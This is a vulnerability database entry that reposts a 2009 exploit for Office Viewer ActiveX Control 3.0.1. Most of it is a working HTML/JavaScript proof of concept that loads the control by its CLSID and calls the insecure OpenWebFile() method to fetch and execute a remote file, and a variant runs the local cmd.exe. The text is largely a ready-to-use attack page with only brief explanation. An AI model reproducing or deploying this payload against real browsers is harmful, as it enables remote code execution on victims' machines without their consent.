Office Viewer ActiveX Control 3.0.1 Remote File Execution Exploit

🗓️ 14 Jan 2009 00:00:00Reported by RootType

Office Viewer ActiveX Control 3.0.1 Remote File Executio


                                                =======================================================================================&lt;br&gt;
Author: Houssamix									   &lt;br&gt;
=======================================================================================&lt;br&gt;

 Office Viewer ActiveX Control v 3.0.1 Remote File execution exploit		&lt;br&gt;
 download : http://www.anydraw.com/download/EOfficeOCX.exe &lt;br&gt;


 Tested on Windows XP Professional SP2 , with Internet Explorer 6	&lt;br&gt;&lt;br&gt;

description : this use to insecure methods &quot;OpenWebFile()&quot; for execute remote file in pc victime &lt;br&gt;
u can also execute a local file in pc victime usign this methode &quot;Open()&quot; , just change the function  do_it with this : &lt;b&gt;
function Do_it()
 {
   File = &quot;c:\\windows\\system32\\cmd.exe&quot;
   hsmx.OpenWebFile(File)
 }
 &lt;br&gt;
=======================================================================================&lt;br&gt;
&lt;HTML&gt;
&lt;BODY&gt;
 &lt;object id=hsmx classid=&quot;clsid:{97AF4A45-49BE-4485-9F55-91AB40F288F2}&quot;&gt;&lt;/object&gt;

&lt;SCRIPT&gt;

function Do_it()
 {
   File = &quot;http://test.com/file.exe&quot;
   hsmx.OpenWebFile(File)
 }


&lt;/SCRIPT&gt;
&lt;input language=JavaScript onclick=Do_it() type=button value=&quot;exploit&quot;&gt;

&lt;/body&gt;
&lt;/HTML&gt;

14 Jan 2009 00:00Current

7.1High risk

Vulners AI Score7.1